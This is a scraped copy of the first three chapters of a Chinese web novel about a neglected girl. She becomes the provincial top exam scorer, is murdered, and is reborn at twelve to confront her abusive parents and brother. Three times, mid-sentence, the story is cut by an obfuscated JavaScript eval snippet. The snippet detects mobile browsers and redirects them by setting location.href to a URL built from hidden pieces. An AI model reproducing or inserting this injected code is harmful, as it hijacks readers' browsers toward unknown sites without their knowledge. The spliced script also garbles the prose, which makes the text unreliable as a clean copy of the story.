《东亚子女重生图鉴》 1. 减肥成功的高考状元1 裴春之死了。 死在了她得知自己是高考状元的第二天。 她是2023年江海省的理科状元,考了702分,但是死的时候也和任何人别无二致。 她脑袋朝下地倒在草丛里,泥土的腥气是她记忆里最后涌现的东西。味道、光线、视野、听力都在慢慢地淡去。 裴春之眼睛一直没有闭上,她仿佛看见身边都是光斑。 再一晃眼,自己还是五岁,阳光从窗纱外过滤进来,她朦朦胧胧地知道天快亮了。 远处有大人们说话的声音,外婆的声音响了起来。 她在门外轻轻叩门,用方言喊: “之之哇,已经十二点啦,太阳晒屁股啦。” 但是不起床也没有关系吧。 裴春之想到,眼皮子越来越重,直到太阳越来越亮,几乎把她完全包裹。 她才忽然想到,原来外婆已经去世很多年了。 原来自己要死了。 这个时候和平常也没有任何区别,地球照常地转了下去,没有裴春之这个人也不会发生什么。 她的死亡,只在三天后给江海省的刑警们带来了极大的工作压力。 至于此时此刻,会为找不到裴春之而感到伤心的,也只有满大街寻找理科状元的记者们。 她是被人杀害的,嫌疑人身份不明。 但另一方面,她逃跑失败的一大原因是她低血糖犯了。 对方砍了她两刀,都不致命。 可是加上低血糖,再加上她刚刚熬了一个大夜还没有吃东西,所有的这些合在一块儿就要了裴春之的命。 血从身体里缓缓地渗出来,她眼前一阵一阵地发黑。 这个时候正是晚上六点,指针滑过的那一秒,满城的灯火在一瞬间闪烁起来。 此时是初夏的六点,天还很亮。 裴春之的妈妈刚刚接到了女儿是理科状元的消息,甚至不是从裴春之的嘴里,而是从大市里喜不自禁的通报。 她们已经快四年没有见过面了。 陆林花正对着新闻报道发呆,努力从“理科状元裴春之”几个字里抠出一点虚假新闻的意思——这是她的女儿,虽然她很久没有想起来她了。 陆林花想了很多,从裴春之出生时丑到皱皱巴巴的脸,到后来很难回忆起的、小时候的样子。 裴春之从小就胖,父母吵架时她会躲在厕所里,不说话,也不哭不闹。 他们没有那么看重这个孩子,陆林花把她送到了外婆家里养着。 老人养的孩子,使裴春之性格也越来越自闭。 陆林花慢慢忽视了她,没有什么其他原因。父母对孩子的爱是有限度的,尤其是当她有两个孩子的时候。 一碗水是不会端平的。 大儿子裴载之更活泼,更会说话,他会在父母吵架的时候哭着跑过来哄他们高兴,会时不时冒出来一句“我最喜欢妈妈了!”。 大儿子从小没胖过,精致漂亮,看见他的人都夸没见过这么好看的小孩,而转向裴春之就变成了“这个孩子老实。” 裴春之……从她肚子里出来的,又胖又丑的小孩,是今年的高考状元? 陆林花恍惚地看着报道上裴春之的照片,她很瘦,面白如玉,一瘦下来五官都分明了,和陆林花年轻的时候有七成像,另外三成估计随了裴永明。 可是裴春之比陆林花年轻时候还要好看,她有一种书卷气,端庄宁静地坐着,除了那个厚厚的眼镜,她几乎全身都挑不出不好看的地方。 陆林花忽然有点后悔了。 离婚时,大儿子被父母抢来抢去,最后陆林花带着裴载之连夜坐飞机来到了现在的城市,获得了这场抚养权争夺战的大胜利。 那天赶往飞机场时,裴春之才知道父母的打算,追在出租车后面一路狂奔,一边跑一边大声喊着“妈妈”,她声音颤抖,大概是哭了。 只是人是不可能追上汽车的,裴春之追出一公里,最后气喘吁吁地跪在了地上。 那时候她还很胖,陆林花在后视镜里看见她追赶的身影,心里只是庆幸地想: 幸好自己抢先要了儿子。 她以为裴永明会被迫接受这个现实,抚养裴春之长大的。 一直到裴春之死在家门口巷子里的野草丛中时,她都还一直这样以为。 裴永明刚刚喝了酒,他还记得这个女儿,他一直摩挲着手里的手机,上面列着一串号码。 如果裴春之能看到,一眼就会认出这是陆林花的手机号码。 他不知道自己前妻生的女儿是今年的高考状元。 他只是正在想,如果这个女儿有前途的话,可以考虑恢复一下关系。 陆林花带着大儿子连夜离开铜州市的那天,裴永明把裴春之扔回了陆林花的母亲家里,也就是裴春之的外婆。 他自己拎着行李,离开了这个城市。 他和陆林花已经分居多年,直到三年前才正式办理离婚。 但是两个孩子,他都有快十年没见过了。 离婚前陆林花防着他,不让他接近孩子;离婚后他自己也不想告诉别人自己还有两个孩子的事实。再婚的妻子到现在都不知道他有过两个孩子。 裴永明想了又想,裴春之的样貌在他的记忆里已经很模糊。 一件小事不知从哪里冒出来。 他想起来这个女儿五六岁时,他曾经带她去钓鱼,下饵的时候才发现裴春之害怕蚯蚓。 他大发了一通火,把裴春之丢在河边不管了。 那天凌晨,裴春之自己摸索着回到了家里。 现在,他不记得这个女儿长什么样了。 听说成绩不错。 他拨通了前妻的电话。 裴春之的哥哥,裴载之,正窝在大学宿舍里打游戏,他上的是三本,不过今年合并成二本了。 坐地升格,这么好的事。裴载之得意地到处说也就他有这种好运道。 照理来说现在裴载之应该准备一下期末周,但他更愿意把手头这把打完。 “裴载之!今天是不是高考出成绩啊?” “嗯”他匆匆忙忙地应了一声,手上动作没停,然后迟来地眨了眨眼睛。 那个小屁孩是不是今年高考? 好像是,不确定,问问看? 裴载之眼睛瞟了一眼血条,遂决定还是老老实实把这局打完再说——成绩什么时候不能问啊。 不过,他后知后觉地想起来。 ——他已经有快三年不曾见过这个妹妹了。 印象里,裴春之个头略矮,胖乎乎的,说肥胖又有点夸张,但绝对不大健康。 当年妈妈带着他离开的时候裴春之追着出租车跑了一路,他记得很清楚。 他从车窗外探出脑袋看着她奔跑的身影,她被甩的越来越远,只能看见甩动的身子一晃一晃的。 裴春之很白,很文静,整日地坐在座位上学习,顶着两个六百多度的眼镜片。 标准的书呆子。 裴载之说不上喜欢也说不上讨厌这个妹妹,但确实是眼不见为净。 他当时和裴春之一个初中上学,有一回裴春之来找他,被他同班同学看了个正着。 一些不嫌事大的男生立刻大声喊道:“老裴!这,这你妹妹啊?” 裴载之退了一步,嘴巴死死地抿了起来,手用力一别,裴春之被他绊了一下,两眼迷茫地看着他。 “你上来找我干嘛?!我不是说了让你别来找我吗?” “我……我……” 裴载之扶额,身后的男生窃窃私语起来。 他们谁也没明说,但是裴载之心里一清二楚。 所有的这些闲言碎语,都是一句“校草的妹妹居然是坦克裴春之”。 裴载之发了大火,根本没心情听裴春之想说什么,一口气下不去,推了她一下。 谁知道裴春之就摔下了楼梯,骨折了。 裴载之不愿再去想后来发生的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332499|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,室友惊讶的声音响了起来。 “裴载之,今年你们江海省理科状元是你们市的诶。” “真的假的,”另一个舍友凑上去,“裴载之不是铜州的吗?铜州教育质量哪里比得过江北?” “裴载之,你来看看啊,是不是你高中的直系啊?” 裴载之把结束游戏的手机一扔,顺势漫不经心地往下瞥了一眼。 他的视线凝固了。 他不自觉地念了出声,声音有些颤抖,他自己都没发现。 “铜州市一中……裴春之?” 他一个翻身下了床,蹿到了舍友手机跟前,不由分说地把页面往下一滑。 一张照片,拍的是一个清秀漂亮,纤细苗条的美丽女孩正端坐在课桌前,有一点惊讶地抬了头。 女孩皮肤雪白,黑色的长发干净地扎在脑后,一直垂到肩胛骨。 除了那双眼睛一如既往的清澈漂亮,和他记忆里的妹妹没有半分相似。 裴春之的同学们在水群里疯狂地一层层刷楼,熟悉的,不熟悉的,只听过名字的,所有人都被一种别样的癫狂附身。 “这是我同学!”的消息随着指尖迅速地转移给其他的群聊,好像平静水面里荡开的巨大涟漪。 菁华大学和中央大学的教授和招生办已经整装待发,即将抵达铜州这个城市。 裴春之一直一直,一直一直都在等待这个时刻。 她感觉眼前的视线一阵阵模糊,有光圈闪耀。 混乱中,她清楚地看见自己的一生白驹过隙,每一个细节都纤毫毕现——父母争吵的日子、她站在板凳上烧饭被烫到了手、哥哥用力抢走了她的糖; 妈妈把肯德基的汉堡掰成两半分给兄妹俩,没有掰平均,她犹豫了一下,把更大的一半递给了哥哥; 父亲带她去钓鱼,她害怕蚯蚓,却不敢让父亲失望,在下饵的时候才缩了起来,父亲一气之下把她扔在了河边,最后她一个人哭了一路走回了家里; 母亲忙着工作,没有心思照顾两个孩子,把她和哥哥都扔给了外婆。没待几天,哥哥就受不了外婆家的破旧平房,吵着闹着要回城里住,妈妈同意了; 她考了双百,外婆给她买了最贵的梦龙,她第一次吃到了巧克力; 她从乡村小学转到城里小学的那天,她胖得一坐到座位上椅子就咯吱咯吱地响,同学们哈哈大笑; 母亲带着大包小包坐上了出租车,她愣住了,定定地看了好一会儿,才看见哥哥神色复杂地坐在后座。 车窗被摇了下来,哥哥看着她,眼神怜悯,没有说话。 前面传来母亲的声音:“师傅快点啊!” 父亲喝着白酒,酒气熏熏地离开了这个家,从此她再也没有见过他; ………… 裴春之没有追到那辆车,也没有等到母亲嘴里会出现的父亲。 她把外婆接到了城里居住,外婆没有问她母亲和哥哥去哪了,只是用粗粝的大手抚摸着她的脑袋。 “我们之之,要考上好大学,要离这里远远的,要生活得很幸福。” 外婆给她整理衣服,笑着说:“之之把这些亲人都忘掉,有外婆在就好了。” 她流着眼泪,点了点头。 那一年她初三毕业,考上了铜州市最好的高中最好的班。她的体育八百米怎么跑都跑不到满分,如果多了那五分,她就是大市中考状元。 两年后外婆去世,母亲没有回来。 她一个人给外婆办完了葬礼。 也是这一年,她瘦了下来,从一百六十几斤暴跌到了一百斤不到。 高考,她考出了有史以来最好的一次成绩。 她是高考状元,她能上最好的大学,能离开这里,能够生活得很幸福。 现在她死了。 她的眼睛慢慢闭上,只有眼角滑过一滴眼泪。 好倒霉。 好倒霉好倒霉的裴春之的一生,从一个乡下小镇开始。 2. 减肥成功的高考状元2 繁盛的野草被橘黄色的晚霞倾倒为一抔泛滥的波浪,草木气息里蕴含着淡淡的干枯,那是过早失去生命力的草叶被太阳过分暴晒后逸散的味道。 孩子们正绕着桥头最大的榕树玩着老鹰捉小鸡的游戏,那颗榕树极大,几人合抱都难以环绕一周。政.府在树干上挂上了“百年榕树”的荣誉牌匾,但它们就像老头家里随风腐朽的老钱币一样没用。现在,它正注视着新一轮孩子们的游戏。 这是一个和无数个日子别无二样的秋日的傍晚。 宋晓龙担任“老鹰抓小鸡”里的老鹰。 他最胖,光是跑两步路就喘着粗气,肉眼可见的速度慢了下来。 连成一条线的孩子们不满地大喊了起来,其中一个男孩的声音最大,他是“母鸡头”,动作灵敏,精瘦,头发乱糟糟的一团,颇为恼火地骂到:“宋小胖!我早说了你跑不动就别玩!” 宋晓龙上气不接下气地停了下来,他瞪着那个发话的男孩,哼哧了半天,最后支支吾吾地吐出来一句:“裴载之——你等着!” 裴载之哈哈大笑起来,他游走在众人中间,动作敏捷,轻而易举地躲过了宋晓龙几次绞尽脑汁的扑抓。“母鸡”身后的一溜“小鸡”都咯咯笑了起来,只有宋晓龙越跑越急,他又艰难地向前走了两步,弯下腰,双手撑在膝盖上,忽然“哇”地一声哭了出来。 “不玩了……我不跟你玩了……”宋晓龙嚎啕大哭道,“每次都是我当老鹰!我又抓不到……” 裴载之皱着眉停了下来,他脸上一点笑容也没有,反而拧着脸,冷若冰霜地看着宋晓龙。他身后的其他孩子都不敢说话了,有人细若蚊蝇地问道:“……要不要安慰一下小胖?” “安慰什么?” 裴载之冷笑道,他走上前去一步,一把抓起了宋晓龙的衣领,他力气大得出奇,一口气把宋晓龙弯着的背给拎直了,他大喝一声:“我让你哭了吗?!” 宋晓龙被他吓呆了,直勾勾地瞪着他看。 “你胖,就要多跑步,不然怎么瘦呢?”裴载之循循善诱道,“你说不玩就不玩了,像什么样子?” “我,我就是跑不过你们……” “我让你停下来了吗?我允许你不玩吗?”裴载之又冷下脸,“你特么爱玩不玩,信不信以后再也没人敢跟你玩了?” 宋晓龙一动不动了,他全身上下,只有双下巴微微颤动。 裴载之微微一笑,又放缓了语气,“我不是针对你。” 他眼睛越过宋晓龙,看向更远的地方,手轻盈地指过去。 “看。” 他眼睛亮亮的,笑得灿然。 “比你更胖的死胖子来了。” 女孩蓄着蘑菇头,脸上有明显的婴儿肥,她戴着一个巨大的黑框眼镜,把大半张脸都盖掉了。穿着长裤长袖,但上臂和大腿明显把衣服撑满了,头发被风微微吹起,她的脖子和脸几乎连成一条线。 裴载之冷眼看着,他露出笑容,向前几步迎上去,女孩却直截了当地退了一步。 这一退让裴载之大为惊讶,他扬了扬眉。 这是裴春之,他的亲妹妹——孪生妹妹。 四岁时,裴永明和陆林花开小菜馆忙得不可开交,两个小孩实在养不过来,于是把妹妹送到了外婆家,只留了裴载之在身边。 现在他们十二岁了,裴载之在城里早一年上学,已经上了初中,这个乡下妹妹还在六年级。 现如今妹妹被接到父母身边,也不是父母终于想起了这个孩子,而是因为外婆生病了。裴载之见过几次这个外婆,身材瘦小,似乎还不到一米五,已经八十几了,脸上沟壑交错,身上有一股浓浓的老人味儿。他十分讨厌这股味道,每次见到外婆,他都不肯多说几句话,沉默着站在旁边装傻。 这个妹妹则不然,他看得出她和外婆极为亲近。被接到城里上学时,她不高兴,垂头丧气了许久。 裴载之想起这个就来气——最来气的明明该是他好不好?他被这个没啥记忆的妹妹吊足了胃口,结果真见面了他差点晕倒。 他这个孪生妹妹,居然是个又丑又胖的书呆子! 裴春之到家里那天裴载之记得清清楚楚,那是个风和日丽的下午,老妈把他锁在房间里收走了他的手机,三令五申要他好好写作业。 裴载之偷乐着拿出了自己珍藏的学习机,通过打开百度知道的奇妙渠道绕开了监管机制开始看小说。就在他看得津津有味的时候,钥匙开门的清脆声响起来,他吓得一个激灵,刚把东西收好,老妈就推开了他的房门。 “你出来。” 老妈严肃地说。 裴载之心里直道:完了。这么严肃,肯定是玩学习机的事被发现了。等他晕晕乎乎地走到客厅,却看见一个不认识的胖女孩低着头坐在客厅沙发,双手紧张地绞着,时不时飞快地抬头扫他一眼。 裴载之愣了半天,心里过了一遍自己所有的人脉,确信自己绝对不认识这个女孩。 陆林花去厨房倒了两杯白开水,其中一杯推到了女孩身前,她心平气和地说:“喝点水吧,十几个小时大巴渴了吧?” 女孩拿起杯子,正准备喝的时候又放下一点,小声道:“谢谢妈妈。” 裴载之炸了。 他大喊道:“这是谁?” 陆林花手里披着十来件刚从阳台收过来的衣服,闻言像听见天大的笑话一样大笑两声。 “在在,你傻了?” “这是你妹妹啊。” 当天晚上吃饭的时候裴春之走到餐桌边,却发现没有自己的座位。裴永明和陆林花坐着面对面,桌子一面靠着墙,另一面是裴载之的位置。 她站了一会儿,陆林花才注意到她,然后摆了摆手:“你自己找张椅子搬过来坐啊。” 裴春之真去搬了。从远处传来一阵令人牙酸的响声,餐桌上的三个人不约而同地停下了筷子,震撼地望向响声的来源——女孩直接跑到了裴载之的卧室,把他卧室里那张巨大的办公旋转椅扛在了肩上,路过裴载之门的时候,因为不好过,她还用力地伸出脚,把门给直接踹开了事。 裴载之“腾”地站了起来,他目瞪口呆地看着这个妹妹,然后像尖叫鸡一样喊了起来: “裴春之你!神!经!病!吧!” 裴春之充耳不闻,她把那个与整张餐桌差不多大小的椅子往裴载之旁边一摆,就毫无心理负担地把自己挤了进去。 偏偏裴载之因为站了起来,没能守住自己的椅子,真的被她挤到了边上。 裴春之坐到这张十分讲究的人体工学椅上,转过头冲裴载之露出一个奇怪的笑容,那个笑容古怪极了……不像嘲笑,也不像开心,反而像…… 可怜。 裴春之觉得裴载之真可怜。 她低下头找了一下,没找到自己的筷子——很显然,陆林花自己也不习惯家里有两个孩子,只拿了三双筷子。她毫不意外,也毫不难过。 因为她已经死过一次了。 死在高考成绩出来的当天着实足以改变一个人的性格和某些特质,这种感觉,就像考公通过后得知父亲嫖/娼、保研后发现自己有门课挂科、生下来了被确诊无可救药的遗传病……人生处处操蛋,但能像裴春之上辈子那样倒霉的确实少见。 发现自己重生时她正坐在开往城镇家中的大巴上,她愣了很久,吹着大巴上熏人的热臭味,在剧烈的呕吐感中确认自己真的回到了十二岁。 她记得清清楚楚。 这一年,她从乡下外婆家里来到了亲生父母的家里;这一年她转学到了城镇的小学;这一年她第一次见到了父母和裴载之。 上辈子她第一次见到父亲时,她觉得裴永明真好。他长得符合她一切对父亲的幻想:威严,肃穆,寡言少语,看上去靠谱。 她也觉得陆林花好。陆林花一见到她就给她倒了水,还问她路上怎么样,然后还带着她看了房间:他们的家太小了,房间不够,陆林花说她这段时间先和她一起睡,裴春之以为这些都是为她好,却没有想过为什么哥哥有一个完整的自己房间。 她甚至觉得裴载之很好。 裴载之很苗条,纤瘦,个子高,皮肤白,眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332500|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼清秀。他总是从她身上移开视线,面无表情,上辈子她单纯地以为那是哥哥有些害羞,其实是裴载之嫌她长得寒碜,丢人现眼。 裴春之云淡风轻地给自己夹了一口菜,毫无波澜地看着裴有明对她怒目而视,陆林花正狠狠地摔着筷子,而裴载之,已经坐到了地上,正哇哇大哭。 她扭了扭腰,屁股下的人体工学椅随之摆动,她面露微笑。 “裴春之!” 陆林花努力压着声音道,“你像什么样子!” 裴永明也露出不赞同的表情,他冷笑道:“你眼里有没有我们这个爸妈?有没有长幼尊卑?把你接回家,就是让你这样对你哥哥的吗?” “……” 裴春之一语不发,她平静地扫视了一遍这对上辈子如此、这辈子依然如此的父母,毫无反应地伸出筷子夹了一口红烧肉。 “挺好吃的。”她平淡道。 “哇……” 裴载之大哭起来,他没有真哭,只是雷声大雨点小,他刚擦起眼泪,陆林花就已经蹲下去安慰他了。裴永明拧着眉,不满地看了一眼自己的儿子,然后继续对裴春之教训道: “我不知道你外婆是怎么教出你这样的孩子来的!” 裴春之瞥他一眼,心想:我也不知道奶奶是怎么教出你这样的孩子来的。 她再了解不过这个父亲了。 裴永明和陆林花是相亲婚姻,他们两个之间没有爱情,也没有什么亲情——只是搭伙过日子而已。 他们两个各有各的缺陷,又各有各的难处,而他俩维持婚姻的秘诀就是他们有同一个爱好:那就是把气撒在孩子身上。 其实在他们接回裴春之之前,裴载之过得也不怎么样。 虽然物质生活充盈,但在裴春之回来之前,父母也会忍不住对他撒气。裴载之神经大条,虽然怕极了父母的打骂,却也没有怎么自我怀疑过父母是不是不爱他。 裴春之回来以后就不一样了。两个孩子站在一块儿,一个纤瘦白皙俊俏,一个肥胖内向瑟缩,事实证明,人都是视觉动物,裴永明和陆林花难免看不惯这个女儿,于是平日里的气多多少少都倾泻到了她身上。 其次,裴春之性格和裴载之不太一样。 裴载之是那种会大声哭,大声笑的家伙,他受了委屈,要立刻哭出来,父母骂他,他也会立刻反驳,往往父母打着他也有点心虚。 裴春之却总是沉默。她很能共情别人,知道别人为什么难过,为什么开心,又为什么崩溃。于是上辈子小小的裴春之常常在夜里捂着自己的伤口,给父母找好一个又一个理由。 父亲最近工作应该不太顺利、母亲做家务做得郁闷、哥哥没有考好试,父母知道后更加气急…… 她一直以为裴永明和陆林花迟早有一天会知道她的爱。 裴春之被接到家里时才十二岁,她懂什么?她骤然到一个新的环境里,被动辄打骂,吃饭没有自己位置,没有自己的碗筷,甚至没有自己的房间——她只能反思,是不是自己做错了? 然而她又确实没做过什么。 最后她开始怀疑,是不是自己还不够好? 重生后的裴春之在裴永明和陆林花持续不断的啧啧逼问中一声不吭地吃完了这顿饭,在旁边干哭的裴载之终于发现父母相对于安慰他,更着急把妹妹骂一顿,于是尴尬地站起来,努力想用自己的小身板挤走妹妹。 裴春之纹丝不动。她小时候确实比较胖,但她早就不在意这些了,重生以后,她反而觉得胖子也有胖子的好处——瞧裴载之急的,他怎么都挤不动她。 她把一碗米饭吃了个大概,裴永明自己的饭还一筷未动,犹然口干舌燥地说教:“……你吃这么多要吃成猪吗?裴春之,大人跟你说话你怎么一点反应都没有?你听得懂人话吗?” 裴春之拿过盛汤的勺子,细细地给自己舀了一碗满是干货的汤,然后一饮而尽。她抹着嘴站起来,终于想起来对裴永明聊作回应: “爸,你说啥?” 重生第一天,战绩:把父亲气得绝倒,把哥哥气哭。 3. 减肥成功的高考状元3 兵荒马乱的晚饭结束后,裴春之躲到卫生间里,从薄薄的门板里面听见家里另外三个人在客厅乱成一团。 裴载之好像真的哭了,裴永明和陆林花找不到裴春之,把一股气都撒在了裴载之身上。裴春之把后背贴在门上,侧对着镜子细细地梳头。 她都忘记自己十二岁居然长这样了。 蘑菇头,厚重的刘海,因为青春期不断冒出来的痘痘被刘海进一步催发,她脸上皮肤也不好。 外婆带她的时候,乡下没有好衣服,她的绝大多数衣服都是拿一些旧料子、被子改的,甚至是上世纪的产物,自然显得老土。 她把自己的刘海掀开,对着镜子打量自己的五官,她的眼睛耷拉着,双眼皮因为脸上的肉而变成了内双。总之,她确实长得不好看。 但那又怎么样呢? 裴春之洗了把脸,在水声中听着客厅的战局愈演愈烈,然后又归于平静。等到客厅只剩下裴载之隐约的抽气声后,裴春之擦干脸走了出去。 裴载之坐在地上,果然在哭。他哭得脸涨红了,显然最难过的那股劲已经过去了,正一抽一抽地在地上擤鼻子。他听见开门的声音,抬起头,望见裴春之走进来,脸上浮现一种兼杂恨和扭曲的表情。 “傻.逼。” 他低声骂道,挣扎着从地上爬起来,两个肿得像核桃的眼睛努力做出瞪视的表情,恶狠狠地看着裴春之,裴春之反而微微一笑,扫了一眼餐桌,发现那张罪恶之源的人体力学椅不知什么时候被搬回了裴载之的卧室。 但是还是只有三张凳子。 裴春之一时默然,想起来前世她第一天被接到这里的晚饭,她发现根本没有她的位置,却连问一句都不敢,最后端着饭碗,默默地在厨房吃完了第一顿饭。 眼泪掉到饭里她也一语不发,然后化开。真正十二岁的裴春之没有分辨的勇气,她抹着眼泪,连像裴载之这样放声哭泣都不敢。 她以为自己把这些事情都忘记了,可是重生到这一天,她居然全都记得清清楚楚——人会自动删除和忘却让自己痛苦的回忆,但等到真的重新走到那个地方,一切的事情都会涌入脑海。 在大巴车上颠簸的时候她还有些茫然,不知道这一次要怎么面对这两个早已决裂的父母。可真的到了见面的时候,她忽然放松下来。 死都死了。 这一次她只想弥补自己。 就从餐桌的凳子开始吧。 她永远不会忘记,她也没有办法忘记。 因为不想换家具,因为觉得太麻烦,又或者因为父母的装聋作哑……上辈子直到父母离婚,各自离开,她都没有正式地拥有一张属于自己的凳子。换言之,这张饭桌上,从来没有她的位置。 裴春之收回目光,再次看向咬牙切齿的裴载之。这个哥哥今年才13岁,她对他的恨远远不如对父母的那份,因为她比谁都清楚:裴载之只是个幼稚、长不大、转移疼痛的废物。 他把自己在父母那儿受到的痛苦嫁接给这个不熟的妹妹,以此来疗愈自己,来证明自己的权力等级。因为裴春之不好看,裴载之也被连坐着受人嘲笑,可是他不去维护自己的妹妹,反而来心虚地和别人一起嘲笑妹妹。 似乎这样就可以和她这个恶心的死胖子割席。 说曹操曹操到。裴载之似乎终于整理好了心情,大声冲裴春之吼道: “死胖子!蠢猪!” 敏锐的初中男生立刻意识到了一些恶劣的语言游戏,他停顿了一下,尖酸刻薄地笑起来,像破解了一个天才般的难题一样得意: “春猪!春猪!” 他把“蠢”刻意念成一声调,无比精准地内涵到了裴春之的名字。裴春之面无表情,上辈子裴载之也发明了这个绰号,并让这个绰号迅速地传遍了整个学校,作为他对自己妹妹的否认。 但是这对十八岁的裴春之一丁点攻击力都没有。 裴春之走上去,十三岁的男孩还没有发育,纤细矮小,她单只手就拎起了他的衣领,然后她敏捷地把他丢到了厕所里,仿佛丢了一个垃圾袋一样轻松写意,然后从外面把门反锁。她动作很快,裴载之压根没有反应过来,甚至他被重重地甩上门的时候,脸上还残留着浮夸、满怀恶意的笑。 他反应过来了。 “裴春之!裴春之!” 他激烈地敲着门板,厕所的门很薄,裴有明租的这套房子本来就老旧,裴载之又是个下手没轻重的,眼见门外的裴春之毫无反应,他愈发愤懑,像捶打饺子馅一样用力地踹、踢、砸门。 木板一下一下震动,裴春之只盯着一处——门轴。 熊孩子哥哥闹出来的动静毕竟还是太大了。裴春之敏锐地分辨出陆林花从主卧急匆匆找拖鞋、耷拉着脚跑出来的声音。她充耳不闻,背着手等待着。 裴载之没有辜负她的期待。 就在陆林花打开主卧门过来查看情况的那一刻,裴载之成功把厕所门锤坏了,整张门像一张废纸一样落下来,和门轴整个脱离。然后,两个孩子都是一副惊弓之鸟的模样看着陆林花渐渐红温的神情。 ——裴载之是真的,裴春之是装的。 裴春之毫不意外地看着陆林花顺手抽下来橱柜上的鸡毛掸子,像打蟑螂一样狠狠地一下下抽起了她的宝贝儿子。 裴春之立刻往后退,趁着他们他逃她追的时候,一个闪现躲到了厨房里。 她忍不住笑了一下,但很快又恢复了面瘫的表情。她把厨房门认真地从里面锁上,然后凑到贴着半透明风化报纸的玻璃上看狗咬狗的热闹。 她看着,渐渐也笑不出来什么。裴春之想起上辈子那个被追着打的孩子,正是年幼内向的她。 风水轮流转。 陆林花讨厌一切给她添麻烦的家伙。后来的裴春之在夜晚一次次试图含着眼泪剖析自己、剖析母亲的时候终于意识到——母亲也许不是讨厌自己,只是她需要一个倾斜情绪的东西,而那时家里最羸弱的成员是她,最合适的对象是她。 就像餐桌少的那张凳子。 因为餐桌只放得下三张凳子,所以她不愿意去重买一张桌子,也不愿意给她那战战兢兢如履薄冰的女儿买个凳子。 而当裴载之把厕所门弄坏,也给她添了麻烦的时候,陆林花也不会因为心里的重男轻女就对他赦免。她那么烂的脾气,能忍得了谁呢? 裴春之在厨房蹲下来,对堆积成山的碗筷视而不见,从书包里抽出一本教科书,从头到尾极快地翻阅着,这一本看完了,她就拿下一本。差不多在裴载之被打到第三轮的时候,她把小学六年级的所有课本都扫过了一遍。 简单,易懂。 裴春之把教科书塞回去,排列整齐。她有些无聊,干脆撕下一张草稿纸,对着厨房昏暗的灯光,慢慢地写字: 1.运动→减肥,健身。 2.激怒父母→见到外婆。 3.挣钱。 4.玩。 她停下来,认真地想了想还有没有想做的事情,然后在第四条玩的旁边画了一个巨大的大括号,小小的字挤在括号里面,细细密密地写了许多: “带外婆去旅游,给外婆治病,给外婆买一个有花园的大房子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332501|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 写小说,学习大学物理,打游戏,学画画……” 一墙之隔,一畔是眼泪和着血、汗水的暴力追逐,翻倒的桌椅,寿终正寝的门板,还有暴怒的女人和她逃跑的儿子;另一畔则是滴答滴答的水流落到脏污的盘子上,未收拾的剩菜,忘记关掉的油烟机轰鸣,一个女孩就这客厅漏过来的灯光对着一张薄得透光的纸片不住地书写。 她写了很多很多,都很简洁,甚至许多都只是小时候的她一闪而过的梦。上辈子的她太累了,为了考到最好的成绩,为了自己心里的那股恨,她甚至没有玩过什么游戏,也没有怎么看过小说。 转学到城里之前,乡下的语文老师很喜欢她,那时她一直被夸赞是最有天赋,最有灵气的孩子,她睁大眼睛,心里暗暗地想: 等她长大了,她要写一些小说。 后来这个愿望变成了,等她高考结束了,她要写一些小说。 然后她就死在高考后的暑假。 她抚摸着纸张的边缘,感到被纸张划拉的细微疼痛,视线上移,看见密密麻麻的“外婆”,心里一顿一顿地疼痛,像读一首已经知道结局的悼亡诗,她在已经没有多少空白的纸上写下外婆死亡的日期,急切地计算起她苟且偷来的重逢。 2022年9月7日。 上天给她重新来一次的机会,她想来想去,却觉得无论是高考状元、还是那既有可能被父母连累的死亡,都不是那么重要了。只是她死前不断在草地的腥气中呢喃的不甘,到底还是影响到了她的心情。 她再也无法容忍小学自由快活的裴春之在城里的家中缓缓枯萎,她也决不允许这种事情发生。 明天,就是她去新的小学报道的第一天,如果她没记错的话,第一天,就发生了很多事情。 她合上笔记本,走去主卧,找到坐在床上看电视的陆林花,告诉她自己愿意睡在客厅,让父亲和她一起睡吧。 陆林花对这个陌生的女儿顿时有些手足无措,她下意识应声,裴春之得到回复,已经抱着被子和枕头走了出去。裴永明摸着脑袋从外面走进来,迷茫地说:“……她自己要睡沙发?” “不知道搞什么东西。”陆林花随口骂道,但她其实是满意的——她本来就不想让这个女儿占了裴永明的位置,一开始,她就是打算让裴春之在主卧睡几天意思一下,然后就把她赶到沙发上去睡的。 上辈子,陆林花在她到家的第三天就原形毕露,卖了两句惨,让裴春之和裴永明换了床位,把她赶到了客厅去睡。 照理来说房间紧张似乎也没什么问题——但如果裴载之的房间明明塞得下两张床呢? 裴载之原本的床很大,是双人床,如果裴春之和他是同性别的孩子的话,他们肯定睡在一起将就。 裴春之是女孩,其实也并非没有解决办法: 只要把那张大床卖掉,换两张小床并排摆着就行。 